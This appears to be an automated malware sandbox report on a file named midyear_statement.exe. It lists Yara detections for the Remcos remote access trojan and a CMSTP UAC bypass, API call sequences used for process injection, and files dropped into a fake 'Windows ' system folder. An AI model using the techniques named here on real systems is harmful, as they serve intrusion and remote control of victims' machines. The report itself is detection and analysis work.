Source: Yara match	File source: 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3664577079.000000001245D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3664577079.000000001248D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1589543498.000000002427B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3664577079.00000000124A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1658571409.00000000244BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wkrriuhD.pif PID: 7896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wkrriuhD.pif PID: 7860, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wkrriuhD.pif PID: 1652, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_1234C9E2 SystemParametersInfoW,

24_2_1234C9E2

System Summary

Malicious sample detected (through community Yara rule)

Source: 24.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 24.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 24.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 33.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 33.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 33.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 31.2.wkrriuhD.pif.590000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 31.2.wkrriuhD.pif.590000.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 31.2.wkrriuhD.pif.590000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 24.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 24.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 24.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 33.2.wkrriuhD.pif.590000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 33.2.wkrriuhD.pif.590000.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 33.2.wkrriuhD.pif.590000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 31.2.wkrriuhD.pif.5919e2.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 31.2.wkrriuhD.pif.5919e2.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 31.2.wkrriuhD.pif.5919e2.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 33.2.wkrriuhD.pif.590000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 33.2.wkrriuhD.pif.590000.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 33.2.wkrriuhD.pif.590000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 33.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 33.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 33.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 31.2.wkrriuhD.pif.24140000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 31.2.wkrriuhD.pif.24140000.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 31.2.wkrriuhD.pif.24140000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 24.2.wkrriuhD.pif.12330000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 24.2.wkrriuhD.pif.12330000.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 24.2.wkrriuhD.pif.12330000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 24.2.wkrriuhD.pif.12330000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 24.2.wkrriuhD.pif.12330000.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 24.2.wkrriuhD.pif.12330000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 31.2.wkrriuhD.pif.24140000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 31.2.wkrriuhD.pif.24140000.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 31.2.wkrriuhD.pif.24140000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 31.2.wkrriuhD.pif.5919e2.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 31.2.wkrriuhD.pif.5919e2.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 31.2.wkrriuhD.pif.5919e2.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 24.2.wkrriuhD.pif.590000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 24.2.wkrriuhD.pif.590000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 24.2.wkrriuhD.pif.590000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 31.2.wkrriuhD.pif.590000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 31.2.wkrriuhD.pif.590000.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 31.2.wkrriuhD.pif.590000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 33.2.wkrriuhD.pif.4f0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 33.2.wkrriuhD.pif.4f0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 33.2.wkrriuhD.pif.4f0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 24.2.wkrriuhD.pif.590000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 24.2.wkrriuhD.pif.590000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 24.2.wkrriuhD.pif.590000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 33.2.wkrriuhD.pif.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 33.2.wkrriuhD.pif.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 33.2.wkrriuhD.pif.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: Process Memory Space: wkrriuhD.pif PID: 7896, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: wkrriuhD.pif PID: 7860, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: wkrriuhD.pif PID: 1652, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040BCD1C RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	0_2_040BCD1C
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040BCE00 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	0_2_040BCE00
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040B7EE8 CreateProcessAsUserW,GetThreadContext,Wow64GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	0_2_040B7EE8
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040BD850 InetIsOffline,CoInitialize,CoUninitialize,WinExec,WinExec,Sleep,WinExec,WinExec,RtlMoveMemory,CreateProcessAsUserW,NtQueueApcThread,ResumeThread,CloseHandle,ExitProcess,	0_2_040BD850
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040B78F8 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	0_2_040B78F8
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040B7A50 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,	0_2_040B7A50
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040BA160 GetModuleHandleW,GetProcAddress,GetCurrentProcess,IsBadReadPtr,IsBadReadPtr,GetCurrentProcess,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,CloseHandle,NtFreeVirtualMemory,GetCurrentProcess,NtFreeVirtualMemory,GetCurrentProcess,NtFreeVirtualMemory,	0_2_040BA160
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040C62C4 CreateProcessAsUserW,NtQueueApcThread,ResumeThread,CloseHandle,ExitProcess,	0_2_040C62C4
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040BD850 InetIsOffline,CoInitialize,CoUninitialize,WinExec,WinExec,Sleep,WinExec,WinExec,RtlMoveMemory,CreateProcessAsUserW,NtQueueApcThread,ResumeThread,CloseHandle,ExitProcess,	0_2_040BD850
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040BCD1A RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	0_2_040BCD1A
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040B7EE6 CreateProcessAsUserW,GetThreadContext,Wow64GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	0_2_040B7EE6
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040B78F6 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	0_2_040B78F6
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_123480EF GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,CreateProcessW,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtCreateSection,NtUnmapViewOfSection,NtMapViewOfSection,VirtualFree,NtClose,TerminateProcess,GetModuleHandleA,GetProcAddress,GetCurrentProcess,NtMapViewOfSection,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,VirtualFree,GetCurrentProcess,NtUnmapViewOfSection,NtClose,TerminateProcess,GetLastError,	24_2_123480EF
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_123432D2 OpenProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,GetFinalPathNameByHandleW,CloseHandle,CreateFileMappingW,MapViewOfFile,GetFileSize,UnmapViewOfFile,CloseHandle,CloseHandle,CloseHandle,	24_2_123432D2
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1234BB35 OpenProcess,NtResumeProcess,CloseHandle,	24_2_1234BB35
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1234BB09 OpenProcess,NtSuspendProcess,CloseHandle,	24_2_1234BB09
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,NtQuerySystemInformation,FindCloseChangeNotification,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle,	27_2_0040DD85
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_00401806 NtdllDefWindowProc_W,	27_2_00401806
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_004018C0 NtdllDefWindowProc_W,	27_2_004018C0
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 28_2_004016FD NtdllDefWindowProc_A,	28_2_004016FD
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 28_2_004017B7 NtdllDefWindowProc_A,	28_2_004017B7

Source: C:\Users\user\Desktop\midyear_statement.exe

Code function: 0_2_040B7EE8 CreateProcessAsUserW,GetThreadContext,Wow64GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,Wow64SetThreadContext,NtResumeThread,

0_2_040B7EE8

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_123467B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,

24_2_123467B4

Source: C:\Users\user\Desktop\midyear_statement.exe	File created: C:\Windows \System32\2506803.exe	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	File created: C:\Windows \System32\netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	File created: C:\Windows \System32\KDECO.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows \System32	Jump to behavior

Source: C:\Users\user\Desktop\midyear_statement.exe

File deleted: C:\Windows \System32\netutils.dll

Jump to behavior

Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040A20C4	0_2_040A20C4
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_004057B8	24_2_004057B8
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005CF0DD	24_2_005CF0DD
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005B817F	24_2_005B817F
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005E410D	24_2_005E410D
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005C82C8	24_2_005C82C8
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005CF33A	24_2_005CF33A
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005C9552	24_2_005C9552
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005C86E0	24_2_005C86E0
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005C4728	24_2_005C4728
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005DE7AB	24_2_005DE7AB
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005B8828	24_2_005B8828
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005AE944	24_2_005AE944
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005B8991	24_2_005B8991
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005C8B15	24_2_005C8B15
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005B7BF0	24_2_005B7BF0
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005C6C40	24_2_005C6C40
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005CEC7F	24_2_005CEC7F
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005C7DCC	24_2_005C7DCC
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005A4DAC	24_2_005A4DAC
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005AFEDC	24_2_005AFEDC
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005CEEAE	24_2_005CEEAE
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005C8F4A	24_2_005C8F4A
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005E4F3B	24_2_005E4F3B
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005D6FD2	24_2_005D6FD2
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1236E2FB	24_2_1236E2FB
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1238332B	24_2_1238332B
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1235739D	24_2_1235739D
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1234F0FA	24_2_1234F0FA
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_123470C2	24_2_123470C2
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1236E0CC	24_2_1236E0CC
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12347121	24_2_12347121
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12347104	24_2_12347104
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12368168	24_2_12368168
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12384159	24_2_12384159
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_123761F0	24_2_123761F0
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_123686E8	24_2_123686E8
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12368770	24_2_12368770
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_123674E6	24_2_123674E6
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1236E558	24_2_1236E558
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12357A46	24_2_12357A46
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1234DB62	24_2_1234DB62
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12357BAF	24_2_12357BAF
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_123678FE	24_2_123678FE
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12363946	24_2_12363946
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1237D9C9	24_2_1237D9C9
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12356E0E	24_2_12356E0E
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12365E5E	24_2_12365E5E
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1236DE9D	24_2_1236DE9D
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12366FEA	24_2_12366FEA
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12343FCA	24_2_12343FCA
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12367D33	24_2_12367D33
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1464B5C1	24_2_1464B5C1
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_14657194	24_2_14657194
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_0044B040	27_2_0044B040
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_0043610D	27_2_0043610D
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_00447310	27_2_00447310
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_0044A490	27_2_0044A490
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_0040755A	27_2_0040755A
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_0043C560	27_2_0043C560
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_0044B610	27_2_0044B610
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_0044D6C0	27_2_0044D6C0
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_004476F0	27_2_004476F0
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_0044B870	27_2_0044B870
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_0044081D	27_2_0044081D
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_00414957	27_2_00414957
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_004079EE	27_2_004079EE
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_00407AEB	27_2_00407AEB
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_0044AA80	27_2_0044AA80
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_00412AA9	27_2_00412AA9
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_00404B74	27_2_00404B74
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_00404B03	27_2_00404B03
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_0044BBD8	27_2_0044BBD8
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_00404BE5	27_2_00404BE5
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_00404C76	27_2_00404C76
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_00415CFE	27_2_00415CFE
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_00416D72	27_2_00416D72
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_00446D30	27_2_00446D30
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_00446D8B	27_2_00446D8B
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_00406E8F	27_2_00406E8F
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 28_2_00405038	28_2_00405038
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 28_2_0041208C	28_2_0041208C
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 28_2_004050A9	28_2_004050A9
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 28_2_0040511A	28_2_0040511A
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 28_2_0043C13A	28_2_0043C13A
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 28_2_004051AB	28_2_004051AB
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 28_2_00449300	28_2_00449300
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 28_2_0040D322	28_2_0040D322
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 28_2_0044A4F0	28_2_0044A4F0
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 28_2_0043A5AB	28_2_0043A5AB
